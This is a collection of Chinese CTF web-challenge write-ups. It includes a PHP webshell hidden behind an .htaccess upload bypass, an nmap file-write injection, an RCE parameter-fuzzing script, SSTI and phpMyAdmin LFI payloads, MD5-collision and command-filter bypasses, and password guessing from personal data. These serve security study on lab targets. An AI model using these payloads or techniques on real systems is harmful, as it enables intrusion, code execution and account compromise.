BUU_WEB_Note

[BUUCTF 2018]Online Tool

考点:escapeshellarg和escapeshellcmd函数

考点:PHP RCE
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
须知知识点:
nmap 192.168.235.138 -oG 1.txt
执行命令后会创建一个1.txt文件将执行命令写到里面去
同理:nmap "<?php phpinfo();?>" -oG "1.php"
执行命令后会创建一个1.php文件将php语句写入到1.php中
------注意:生成的文件是保存在当前目录下的

![1622889932108](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622889932108.png)

[GXYCTF2019]BabyUpload

考点:文件配置文件上传

![1622826785804](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622826785804.png)

1.上传一个真正的jpg文件,得到结果:
    上传类型也太露骨了吧!
2.猜测是因为文件里面包含了特殊过滤字符
3.再次上传一个空的jpg文件temp.jpg上传成功,得到结果:
    /upload/a9ade2ea90b585fac78d5e55d45d71d7/temp.jpg       succesfully uploaded!
4.上传一个shell.php文件,得到结果:
    后缀名不能有ph!
5.此时几乎所有文件名绕过都没用了,只能上传配置文件.htaccess
    有三种方法:一种是上传让一个jpg文件作为php文件执行的配置
            第二种是上传一个让全部jpg文件以php形式运行的配置
            第三种是上传.user.ini文件当时上传目录要有php文件            才行,因为找不到php文件在上传目录,放弃此方法
6.上传配置文件.htaccess
    法一:AddType application/x-httpd-php jpg
    法二:<FilesMatch "shellshell.jpg">
         SetHandler application/x-httpd-php
         </FilesMatch>
7.上传shellshell.jpg文件
    <script language='php'>eval($_POST['shell']); </script>
8.上传文件成功,使用蚁剑到shellshell.jpg文件下连接拿到shell
9.根目录找到flag
发现:上传目录是个空目录,确实没有php文件

![1622827027140](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622827027140.png)

![1622827046229](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622827046229.png)

题目:[RoarCTF 2019]Easy Java

考点:Java文件泄露,WEB-INF/映射

必要知识:WEB-INF/web.xml泄露
WEB-INF/web.xml泄露
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:
    /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    /WEB-INF/database.properties:数据库配置文件

![1622863689687](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622863689687.png)

尝试登录失败,爆破出密码是admin:admin888
但是没什么用,进去后被提示是送分题
hint:要将请求方式改为POST才行

![1622864651912](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622864651912.png)

POST方式请求将filename改为:WEB-INF/web.xml
下载得到web.xml文件(也可以直接抓包看回显)

![1622864718535](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622864718535.png)

根据上面指令,访问com.Wm.ctf.FlagController(class文件
此处需要对Java有一定了解,com.ctf.FlagContriller的地方表示一个class文件的路径
将filename参数改为:WEB-INF/com/ctf/FlagController.class
下载得到文件(或者在burp看回显)
看到里面有一段base64编码,解码得到flag

![1622865155561](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622865155561.png)

题目:[强网杯 2019]高明的黑客

考点:脚本测试可用参数

![1622869952374](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622869952374.png)

下载www.tar.gz得到源码压缩包
里面有3000多无规则命名的个php文件

![1622870030453](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622870030453.png)

![1622870763866](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622870763866.png)

分析文件可知,能产生反应输出的函数主要是var_dump和print_r以及echo
并且是直接输出传入的参数
测试:将src文件复制到本地的www目录下(这样子比直接在网站测快一些,而且网站访问量过大时题目网站可能会崩)
写脚本思路:分别对每个文件进行分析,取出文件中的全部$_POST['']和$_GET['']中的参数,分别放到get[]和post[]两个数组中,
~~~脚本一思路~~逐个取出参数赋值为success!!!传入对应的网页,检测得到的回显r.text中是否与有success字符串,如果有则说明该php文件的对应传参参数可以使用~~
~~脚本二思路~~这里就是为了找到可利用的shell,所以传入的参数会被当作php语句执行,将参数赋值为echo 'success!!!'输出了success说明这个php文件的该参数可用,输出该文件和参数;

~~技巧,可以一次性将一个文件的全部参数都上传不用逐个上传,这样可以减少跑脚本的时间
脚本如下(多线程):
脚本一(比脚本二更清晰易懂但还没跑起来,脚本二确实可以得到可利用的payload):
import requests
import sys
import os
import threading        #多线程使用的库
import time
url = "http://127.0.0.1/src/"
files = os.listdir("C://Users//Administrator//Desktop//www//src")
#print(files)

def GetGet(file):
    a = []
    f = open("C://Users//Administrator//Desktop//www//src//"+file,'r')
    content = f.readlines()
    for i in content:
        if i.find("$_GET['") > 0:
            start = i.find("$_GET['") + 7
            end = i.find("'",start)
            a.append(i[start:end])
    return a

def GetPost(file):
    a = []
    f = open("C://Users//Administrator//Desktop//www//src//"+file,'r')
    content = f.readlines()
    for i in content:
        if i.find("$_POST['") > 0:
            start = i.find("$_POST['") + 8
            end = i.find("'",start)
            a.append(i[start:end])
    return a

def Send(start,end):
    start = int(start)
    end = int(end)
    for i in range(start,end):
        i = files[i]
        get = GetGet(i)
        print("Try filename: %s"%i)
        for j in get:
            NewUrl = url+"%s?%s=%s"%(i,j,'echo "Success!!!"')
            s = requests.get(NewUrl)
            if("Success" in s.text):
                print("Success! Url:%s" % (NewUrl))
                break
        post = GetPost(i)
        for j in post:
            NewUrl = url+"%s"%(i)
            s = requests.post(NewUrl,data={j:"echo 'Success!!'"})
            if("Success" in s.text):
                print("Success! Post:%s" % (j))
                break

class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):               
        Send(self.name, self.counter)

for i in range(0,150):
    thread = myThread(i,i*20,(i+1)*20)
    thread.start()
脚本二:
#ecoding=utf-8
import os
import requests
import re
import threading    #多线程使用的库
import time
print('开始时间:  ',time.asctime(time.localtime(time.time())))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"C:\Users\Pang S.R\Desktop\www\src"
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1:8090/src/'+file
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()
得到可用文件:xk0SzyKwfzw.php      可用参数:Efa5BVG
直接构造payload: /xk0SzyKwfzw.php?Efa5BVG=cat /flag
得到flag:flag{20605f5b-9a5a-4636-b8af-59f018fbddef}

![1622873086153](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622873086153.png)

题目:[GXYCTF2019]禁止套娃

考点:函数嵌套使用

使用githack扫描得到源码:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
代码审计分析:
第一个判断:PHP常用的协议都被过滤了,想要通过第一个过滤就不能用协议
第二个判断:参数中的字母和部分字符被替换后只剩下;才能绕过过滤,但是!!!!!
实际上a(b(c()))这种形式才可以绕过a(b)就不行,为啥?我也不知道。。。求解~
第三个判断:不能有列出的字符串
最后执行传入的参数exp
---------
需要通过GET方式传入参数exp
第一层preg_match()函数限制了php伪协议
第二层preg_replace()正则表达式匹配,(?R)表示引用当前表达式
第三层preg_match()限制了一些关键字
@eval($_GET['exp']);可以进行命令执行
将要使用到的方法函数:
print_r()如果里面为数组则有序输出数组
scandir([要扫描的目录])返回扫描目录数组结果
current()返回数组当前元素值
localeconv()返回本地数字和货币信息的数组,第一个元素为.
next([数组])返回数组下一个下标的元素并让数组下的下标加一(初始默认是0)
array_reverse([数组])将数组倒序
highlight_file([文件])将文件的全文高亮输出

![1622888341298](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622888341298.png)

组合方法:
current(localeconv())  #表示.
scandir(current(localeconv()))  #表示扫描当前按目录
构造扫描参数:print_r(scandir(current(localeconv())));
扫描得到结果:
--------------------------------------------------------------
flag在哪里呢?
Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )
--------------------------------------------------------------
将扫描得到的结果数组倒置,flag.php就在第二个位置啦
构造参数:print_r(array_reverse(scandir(current(localeconv()))));
倒置扫描结果:
--------------------------------------------------------------
flag在哪里呢?
Array ( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] => . )
--------------------------------------------------------------
用next()读到flag.php
然后用highlight_file()高亮输出flag.php
highlight_file(next(array_reverse(scandir(current(localeconv())))));

![1622889004466](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1622889004466.png)

得到flag:flag{d2bde8df-2696-4199-8685-4e39f5fe7ef1}

题目:[BJDCTF2020]ZJCTF不过如此

考点:

源码位置:https://github.com/BjdsecCA/BJDCTF2020

题目:Game1(BugKu)

考点:网页分析

![1623411849561](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623411849561.png)

进入题目是一个游戏界面,游戏失败会显示游戏结束(失败),猜测是需要达到一定的分数才能得到flag

思路:开始游戏后抓包,游戏结束后修改抓取的数据包的分数

题目:社工-初步收集[BUGKU]

考点:wireshark,爆破

真不会做这个。。。。。看大佬的WP

​ ![1623413652599](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623413652599.png)

![1623413663796](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623413663796.png)

点击下载得到一个sz.zip文件,打开是一个exe文件

![1623413727213](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623413727213.png)

登录失败,,,,,,,

看WP才知道这东西使用wireshark抓包,,,,,

打开wireshark后输入帐号密码,查找字节流得到流量包

![1623413959823](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623413959823.png)

username:的base64为dXNlcm5hbWU6
Password:的base64为UGFzc3dvcmQ6
解密得到账号密码为
YnVna3VrdUAxNjMuY29t    bugkuku@163.com 
WFNMUk9DUE1OV1daUURaTA==        XSLROCPMNWWZQDZL    

登录邮箱找到被删除的邮件

img
这个应该是在暗示网站账号名字和密码了,
直接就是说爆破,社工字典
他说已经20 了,那么他应该是2001年出生的,“前两天”那生日无非就是2月6日,根据中国人的传统补全0,那么就是20010206的生日,姓名就是mara,

在这里插入图片描述

爆破卡了好长时间,生成了好多字典,因为不知道他的生日是0206还是26,也不知道有没有加入名字,试了好几次得出密码
在这里插入图片描述

-------------------------------以上为大佬的wp

使用御剑扫描得到一个后台登录界面(扫出了很多的链接,但都没啥用。。。)

![1623414465688](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623414465688.png)

帐号mara 密码20010206登录后台

在网站信息--网站设置找到flag

![1623414632513](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623414632513.png)

题目:Web8[BUGKU]

考点:show_source

![1623415176103](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623415176103.png)

构造payload:?hello=php://filter/read=convert.base64-eecode/resource=flag.php

![1623415325053](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623415325053.png)

无反应,应该是被过滤了,尝试$flag

![1623415367938](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623415367938.png)

还是不行,尝试高亮函数highlight_file()函数

![1623415561404](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623415561404.png)

或者:看到下面的show_source()函数,尝试一下

![1623415434873](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623415434873.png)

得到flag.php源码 得到flag

题目:Web9[BUGKU]

考点:全局变量$GLABLES

![1623418006923](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623418006923.png)

preg_match("/^\w+/ " , /",/",args)执行正则表达式匹配
/^开始,\w表示任意一个单词字符,即[a-z][A-Z][0-9],+将前面的字符匹配一次或多次,$/结束。后面的args变量是被匹配的。相当于在args变量里寻找符合正则表达式的部分,若有则返回1,若没有则返回0。
因为有正则表达式的验证过程,所以我们没法利用本地包含漏洞查看flag1.php
这里我们通过 $ $args(可变变量)获取flag, $ $argvs作用类似于
$a = "hello";//声明变量a
$hello = "world";//声明变量hello
echo $$a //输出world
*******************************重点*****************************
PHP中$GLOBALS[index] 的数组中存储了所有全局变量,令args=GLOBALS正好符合条件利用可变变量输出,最后得到flag。
payload:http://114.67.246.176:11385/?args=GLOBALS
*******************************重点*****************************
超级全局变量
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们。

$GLOBALS 所有全局变量数组
$_SERVER 服务器环境变量数组
$_GET 通过GET方法传递给该脚本的变量数组
$_POST 通过POST方法传递给该脚本的变量数组
$_COOKIE cookie变量数组
$_FILES 与文件上载相关的变量数组
$_ENV 环境变量数组
$_REQUEST 所有用户输入的变量数组
$_SESSION 会话变量数组

![1623418119063](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623418119063.png)

得到flag

题目:[GWCTF 2019]我有一个数据库

考点:phpMyadmin4.8.0~4.8.1文件上传漏洞

前提知识:phpMyadmin4.8.0~4.8.1文件上传漏洞
https://www.vulnspy.com/cn-phpmyadmin-4.8.1-lfi-to-rce/

![1623432777324](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623432777324.png)

打开链接进入看到一个乱码的字符串,尝试解码啥的都没什么用,联想题目数据库,同时根据dirsearch扫描结果得知进入phpmyadmin界面

![1623433003494](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623433003494.png)

![1623432689899](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623432689899.png)

根据所示版本号,构造payload访问根目录下的flag文件
payload:?target=db_sql.php%253f./../../../../../flag
注:中间的../多几个也没关系,但是少了的话就不会出flag
%253f是?的url二次编码

![1623433235480](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623433235480.png)

得到flag

题目:[BJDCTF2020]The mystery of ip

考点:XXF和SSTI注入结合

考点:

SSTI注入前提知识:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}

{{}}里面的变量可以是通过函数执行得到的结果,另外可以使用系统执行函数进行系统操作
{{''.__class__.__bases__[0].__subclasses__()}}得到所有子类(看不懂)

![1623461411207](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623461411207.png)

查看hint页面F12发现提示,联想标识来源的XFF

![1623461479382](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623461479382.png)

burp抓包修改X-Forwarded-For

![1623461679398](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623461679398.png)

页面ip显示发生变化,说明确实是XFF
接下来尝试SSTI模板注入是否成功

![1623461816040](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623461816040.png)

{{1+1}}显示为2,说明存在SSTI模板注入
开始使用system函数执行命令
{{system('ls')}}

![1623462195241](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623462195241.png)

![1623462236896](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623462236896.png)

发现flag.php里面并没有flag,猜测是在根目录下面

![1623462352671](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1623462352671.png)

得到flag

题目:[BJDCTF2020]Mark loves cat

考点:dirsearch和githack分析网站+代码审计

![1624120789686](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624120789686.png)

使用dirseach扫到.git
再使用githack下载得到源码(但是不知道为什么我的githack下到一半就输出网站html页面源码就报错了)

![1624120850688](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624120850688.png)

下载到的源码:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  
        exit($handsome);
    }
}
分析代码变量覆盖得到payload:
第一种,get传参:yds=flag
第二种,get传参:is=flag&flag=flag

在页面最下面看到回显flag

![1624121244964](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624121244964.png)

题目:[安洵杯 2019]easy_web

考点:编码+代码审计md5碰撞

![1624121877238](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624121877238.png)

链接看起来像是base64经过两次base64:
1:TXpVek5UTTFNbVUzTURabE5qYz0
2:MzUzNTM1MmU3MDZlNjc=
3:3535352e706e67
将3535352e706e67进行16进制转ascii字符(可以用小葵的hex)得到555.png

同时在F12将鼠标放到img标签上时显示一堆base64,初始时显示
data :imagelgif;base64,iVBOR...kY5HCNx3L1wAAAABJRUSErkJggg==
将数据还原得到的是网页的图片
得到思路:将img参数改为index.php的base64+base64+hex就可以在img标签看到网页源码了

![1624122793377](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624122793377.png)

base64解码得到源码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
分析代码:
(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
过滤了很多字符串但是没有过滤dir和more,less,sort这几个函数
当参数a和b满足md5碰撞之后执行cmd参数
post传参paylaod:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
成功绕过md5检验
cmd命令dir得知flag文件在根目录
方法一:使用ca\t%20/flag绕过
方法二:使用sort%20/flag
方法三:不知道行不行,没试:使用more或less

得到flag

题目:[网鼎杯 2020 朱雀组]phpweb

考点:反序列化

![1624380638933](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624380638933.png)

抓包查看信息看到传入参数func和p

![1624380610005](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624380610005.png)

php手册查找data看看是不是一个函数,毕竟参数名叫func

![1624380777052](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624380777052.png)

看到data确实是一个得到时间的函数并且在用法实例还看到data函数参数和p很像,此时怀疑是不是在内部执行了func(p)
构造payload:func=eval&p=<?php phpinfo();?>

![1624380972307](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624380972307.png)

根据回显确实如此,测试了很多系统命令函数都得到hacker,最后尝试高亮输出文件得到源码,还和试了高亮flag,flag.php,/flag都没有结果,flag估计是被藏在其他路径了

![1624381223920](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624381223920.png)

html解码得到源码:
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
    代码分析:
    大意是如果Test类里的函数名$func执行函数不在过滤的名单里面且func($p)返回的结果是string类则输出:

思路:构造反序列化参数让payload的func=unserialize,p=Test的$func=eval  ;$p=ls的序列化,

查看当前目录

在当前目录和根目录没发现flag文件,使用find / -name flag*查找文件目录

得到路径/tmp/flagoefiu4r93

直接cat或者使用payload:func=highlight_file&p=/tmp/flagoefiu4r93

![1624381964293](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624381964293.png)

题目:[BJDCTF2020]Cookie is so stable

考点:SSTI注入+cookie注入

SSTI注入模板学习:https://www.sohu.com/a/441794414_750628

![1624598785521](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624598785521.png)

因为在flag.php输入{{7*7}}得到回显49,所以判断为SSTI注入,又根据下图可知,类型是Twing模板注入,尝试运行命令:
{{_ self.env.registerUndefinedFilterCallback( "exec")}}{{_ self.env.getFilter( "id")}}
但是得不到正常命令执行的回显,联系题目cookie is stable,抓包看看cookie
看到传参后抓到两个包,第二个包又cookies参数,且user值为传入值,修改cookie的user为以上模板,得到命令执行的回显
传参{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
得到flag

![1624599237073](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624599237073.png)

img

![1624599579492](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624599579492.png)

![1624599649641](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624599649641.png)

题目:[安洵杯 019]easy_serialize_php

考点:

<?php
    if($_SESSION){
    unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'aaa';
extract($_POST);
var_dump($_SESSION);
?>
这种情况下如果没有post传参,输出结果为:
    array(2) { ["user"]=> string(5) "guest" ["function"]=> string(3) "aaa" }
如果传入参数_SESSION[flag]=123则输出结果为:
    array(1) { ["flag"]=> string(3) "123" }
就是说如果有新的参数进入,则原本的$_SESSION会被直接覆盖消失,变成传入的值
    ------------------------------------------------
反序列绕过特性:
在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str));
输出结果:
array(2) { 
    [0]=> string(8) "Hed9eh0g" 
    [1]=> string(5) "aaaaa" 
}
--------------------------------------------------------
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
仍然可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符abc都会被忽略,不影响反序列化的正常进行。
---------------------------------------------------------
a:3:s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
将这串字符串进行序列化会得到什么?
这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:
array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}
----------------------------------------------------------

![1624630056608](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1624630056608.png)

题目直接给源码
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
-------------------------------------------------------------------
@@@将f参数改为phpinf可见一个flag文件/d0g3_fllllllag,推测为flag文件@@@
分析知虽然有一个带有可控参数的echo语句
else if($function =、= 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
原想利用get传参的img_path参数但是因为 $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
所以img是一个sha1散列值,根本不能作为文件名利用,所以放弃这个思路,再找
---------------------------------------------------------
传入一个_SESSION,使得_SESSION的img发生变化,变为/d0g3_fllllllag的base64编码L2QwZzNfZmxsbGxsbGFn即可获得flag
由于$_SESSION参数需要结果flter()函数过滤,里面php','flag','php5','php4','fl1g'会被删除,结合

题目:[WUSTCTF2020]朴实无华

考点:

md5绕过
intval()函数绕过
空格绕过

![1625305990635](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1625305990635.png)

